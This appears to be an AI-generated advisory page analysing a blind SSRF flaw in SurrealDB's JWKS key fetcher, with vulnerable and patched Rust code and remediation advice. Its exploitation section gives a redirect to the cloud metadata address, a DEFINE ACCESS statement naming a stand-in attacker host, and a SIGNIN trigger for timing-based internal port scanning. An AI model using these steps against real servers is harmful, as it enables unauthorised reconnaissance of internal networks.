CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-H5RG-8P7F-47G2

GHSA-h5rg-8p7f-47g2: Server-Side Request Forgery (SSRF) in SurrealDB Identity & Access Management (IAM) JWKS Fetcher

Amit Schendel
Amit Schendel
Senior Security Researcher

Jun 20, 2026·6 min read·16 visits

Executive Summary (TL;DR)

High-privileged users can exploit automatic HTTP redirect following in SurrealDB's JWKS fetcher to bypass egress restrictions and perform blind SSRF against internal resources.

A Server-Side Request Forgery (SSRF) vulnerability exists in SurrealDB's Identity & Access Management (IAM) module prior to version 3.1.5. When configuring JSON Web Key Set (JWKS) URLs for token verification, the remote fetcher follows HTTP redirects by default without validating redirect targets against configured network capabilities. This allows high-privileged users to bypass network access limits and perform blind port scanning of internal network resources.

Vulnerability Overview

SurrealDB utilizes JSON Web Key Sets (JWKS) to verify signatures on JSON Web Tokens (JWT) used for authentication and authorization. The system administrator defines access methods using the SurrealQL DEFINE ACCESS statement, specifying an external HTTPS URL where the cryptographic keys reside. When a token needs verification, the database server fetches the key set from this remote URL to perform signature validation.

The application contains network egress controls implemented via --allow-net and --deny-net command-line arguments. These arguments restrict the outgoing network paths available to database functions. The JWKS fetcher interacts directly with this network capability system by validating configured URLs before sending requests. However, this implementation was found to be vulnerable to Server-Side Request Forgery (SSRF) due to improper handling of HTTP redirect flows.

The vulnerability is localized within the Identity & Access Management (IAM) module of SurrealDB. Although the initial connection target is evaluated against the configured capabilities, the HTTP client used for the fetch automatically follows 3xx redirection instructions. An attacker controlling an allowed external server can redirect the query to an arbitrary internal IP or loopback interface, bypassing the egress security boundaries.

Root Cause Analysis

The vulnerability resides in core/src/iam/jwks.rs where SurrealDB initiates outbound HTTP requests to retrieve JWKS metadata. The application evaluates the configuration parameters through a function named check_capabilities_url to enforce network policies. This function checks the host and port against the allowlists and denylists defined by the database administrator at startup.

If the initial validation succeeds, SurrealDB initiates the fetch using the reqwest HTTP client library in Rust. However, the client is instantiated in its default state without restricting automatic redirection behaviors. By default, reqwest follows HTTP 3xx redirects automatically for up to ten sequential hops without passing the target of each intermediate hop back to the capability verification layer.

Consequently, when an external server responds to the JWKS request with a 302 Found status and a Location header, the HTTP client connects to the new destination. This second-hop request occurs entirely within the internal client loop, completely bypassing check_capabilities_url. This behavior contrasts with the general HttpClient used in other SurrealQL modules, which enforces capability checks on every redirection hop.

Code-Level Analysis

The conceptual implementation of the JWKS fetcher before remediation shows that the client lacks custom redirect policies, leading to the blind following of redirect locations.

// Vulnerable Implementation in core/src/iam/jwks.rs
pub async fn fetch_jwks(url: &str) -> Result<Jwks, Error> {
    // The check is performed only once on the input string
    check_capabilities_url(url)?;
 
    // Default client allows up to 10 redirects automatically
    let client = reqwest::Client::new();
    let response = client.get(url).send().await?;
 
    // Response is directly parsed as a JWKS JSON document
    let jwks = response.json::<Jwks>().await?;
    Ok(jwks)
}

The patch introduced in version 3.1.5 corrects this vulnerability by constructing a customized redirect policy for the JWKS reqwest client. This policy intercepts every redirection attempt, extracts the target URL, and subjects it to the same check_capabilities_url inspection before proceeding.

// Patched Implementation in core/src/iam/jwks.rs
pub async fn fetch_jwks(url: &str) -> Result<Jwks, Error> {
    check_capabilities_url(url)?;
 
    // Build a custom redirect policy to re-validate capabilities
    let redirect_policy = reqwest::redirect::Policy::custom(|attempt| {
        let target_url = attempt.url().as_str();
 
        // Re-evaluate capability constraints on every hop
        if let Err(_) = check_capabilities_url(target_url) {
            // Terminate connection if target URL is disallowed
            return attempt.stop();
        }
 
        // Impose a strict redirect ceiling
        if attempt.previous().len() >= MAX_HTTP_REDIRECTS {
            return attempt.stop();
        }
 
        attempt.follow()
    });
 
    // Initialize the client using the hardened policy
    let client = reqwest::Client::builder()
        .redirect(redirect_policy)
        .build()?;
 
    let response = client.get(url).send().await?;
    let jwks = response.json::<Jwks>().await?;
    Ok(jwks)
}

This validation loop ensures that even if an attacker tricks the server into initiating an outbound query, the redirect policy blocks connections to forbidden targets. The validation process remains consistent throughout the entire redirect chain, resolving the security discrepancy.

Exploitation Methodology

Exploitation of this vulnerability requires database administrative privileges sufficient to execute DEFINE ACCESS statements. An operator with Owner level access begins by setting up a malicious HTTP redirector on an external, unrestricted IP address. This redirector is configured to return a 302 Found response directing the requester to an internal endpoint, such as the AWS metadata service.

HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/
Content-Length: 0

Next, the attacker registers a JWT access control mechanism inside SurrealDB that references the malicious redirector URL. Because the initial URL points to a public, external resource, the capabilities check evaluates the domain as authorized and allows the statement to execute without errors.

DEFINE ACCESS target_ssrf ON DATABASE TYPE JWT URL "http://attacker-controlled.com/redirect";

Finally, the attacker triggers an authentication request that forces SurrealDB to resolve the JWKS keys. This is accomplished by invoking a SIGNIN query referencing the newly created access method. The server performs the outbound fetch, follows the redirect to the metadata IP, and executes a GET request against the local service.

SIGNIN {
    method: "target_ssrf",
    token: "eyJhbGciOiJSUzI1NiIsImtpZCI6IjEifQ.eyJncm91cHMiOlsiYWRtaW4iXX0.sig"
};

Because the response is expected to be a valid JWKS JSON structure, the internal service response fails the parsing stage, yielding an auth failure. Despite this parsing failure, the outbound connection is completed. The attacker can infer the existence of internal services and ports by evaluating the execution timing, as open ports respond immediately while closed or filtered ports hit connection timeouts.

Impact and Severity Assessment

The vulnerability is rated as CVSS 4.1 (Medium Severity) with the vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N. The requirement of administrative privileges lowers the threat profile, as only authenticated users with high-level access can define access resources. However, the scope parameter is modified because the vulnerability allows database processes to escape their defined sandboxes and target internal network systems.

The impact is primarily categorized as a blind SSRF. Because the response data must fit a strict JWKS schema, attackers cannot read arbitrary payloads from internal servers. The database will only return a generic authentication error rather than outputting raw HTTP response bodies.

The primary danger is the exposure of internal-only endpoints that do not require additional authentication. For instance, an attacker could trigger administrative actions on unauthenticated internal microservices or retrieve status information via timing-based side channels. The flaw effectively converts the SurrealDB instance into a proxy for internal network reconnaissance.

Remediation and Defense-in-Depth

The definitive remediation for this vulnerability is to upgrade the SurrealDB server instances to version 3.1.5 or newer. This update applies the required custom redirect policies within the IAM JWKS module, neutralizing the redirect bypass vector.

If upgrading is not immediately possible, database administrators should restrict access to administrative roles. Ensuring that only highly trusted personnel have Owner-level database permissions prevents arbitrary JWT definitions.

Furthermore, implementing egress network security controls at the infrastructure level provides robust protection. Setting up firewall rules prevents the SurrealDB process from establishing connections to loopback or RFC 1918 subnets. Additionally, using local, inline cryptographic keys instead of remote JWKS URLs eliminates the need for outbound HTTP requests entirely.

Official Patches

SurrealDBOfficial Security Advisory

Technical Appendix

CVSS Score
4.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N

Affected Systems

SurrealDB

Affected Versions Detail

Product
Affected Versions
Fixed Version
SurrealDB
SurrealDB
< 3.1.53.1.5
AttributeDetail
CWE IDCWE-918
Attack VectorNetwork
CVSS v3.1 Score4.1
Exploit Statusnone
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
CWE-918
Server-Side Request Forgery (SSRF)

The web server receives a URL or similar identifier from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Vulnerability Timeline

GitHub Security Advisory GHSA-h5rg-8p7f-47g2 Published
2026-06-19
OSV Database Record Updated
2026-06-19

References & Sources

  • [1]Official Security Advisory
  • [2]SurrealDB GitHub Code Repository
  • [3]SurrealDB Capabilities Security Documentation
  • [4]SurrealQL DEFINE ACCESS Documentation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•GHSA-9395-2G46-RJ3F
8.2

GHSA-9395-2G46-RJ3F: Multiple Cross-Site Scripting (XSS) Vulnerabilities in djust Template and Live Engine

A comprehensive technical analysis of six Cross-Site Scripting (XSS) vulnerability classes in the djust framework versions 1.0.0 through 1.1.0, involving escaping failures across the Python-Rust template boundary and stateful WebSocket cache lifecycles.

Alon Barad
Alon Barad
2 views•10 min read
•about 2 hours ago•GHSA-XJW9-38CR-6372
8.2

GHSA-XJW9-38CR-6372: Cross-Site Scripting via Stale Safe-Key Inheritance in djust Template Shadowing

An escaping defect in the djust templating engine allows Cross-Site Scripting (XSS) when a template binding construct shadows a variable that was previously marked safe. The Rust-based context safety tracking incorrectly preserves name-based safety grants even after the variable name has been bound to a new, untrusted value.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 3 hours ago•CVE-2026-81875
7.5

CVE-2026-81875: Unbounded DEFLATE Decompression Denial of Service in HAPI FHIR SHCParser

A critical denial of service vulnerability exists in the HAPI FHIR SHCParser within the org.hl7.fhir.core Java library. Unbounded decompression of raw DEFLATE data during Smart Health Card parsing allows unauthenticated remote attackers to trigger JVM heap exhaustion and crash the application.

Alon Barad
Alon Barad
4 views•7 min read
•about 4 hours ago•CVE-2026-81876
7.5

CVE-2026-81876: Unauthenticated Denial of Service via Infinite Loop in HAPI FHIR SHCParser

CVE-2026-81876 is a high-severity Denial of Service vulnerability in HAPI FHIR, a complete Java implementation of the HL7 FHIR standard. The vulnerability stems from improper usage of Java's java.util.zip.Inflater class within the Smart Health Card (SHC) parser.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 5 hours ago•CVE-2026-82399
7.5

CVE-2026-82399: Resource Exhaustion Denial of Service in CoreDNS Custom Transports

CVE-2026-82399 is a resource management vulnerability in CoreDNS affecting custom DNS transport pathways. Prior to version 1.14.7, transports including DNS-over-HTTPS (DoH), DNS-over-QUIC (DoQ), and DNS-over-gRPC executed the resource-intensive unpack method of the underlying Go DNS library on raw, untrusted incoming payloads before validating the fixed 12-byte DNS header. An unauthenticated remote attacker can exploit this behavior by using nested DNS name compression pointers to trigger substantial heap allocations, leading to memory exhaustion and server termination.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 6 hours ago•CVE-2026-84997
7.5

CVE-2026-84997: Infinite Loop Denial of Service in ReactPHP HTTP Component

An infinite loop vulnerability in ReactPHP's react/http chunked transfer encoding decoder (v0.6.0 up to 1.11.1) allows unauthenticated remote attackers to trigger a denial of service (DoS) by sending crafted chunked requests or responses, completely freezing the single-threaded event loop and pegging CPU usage to 100%.

Alon Barad
Alon Barad
5 views•8 min read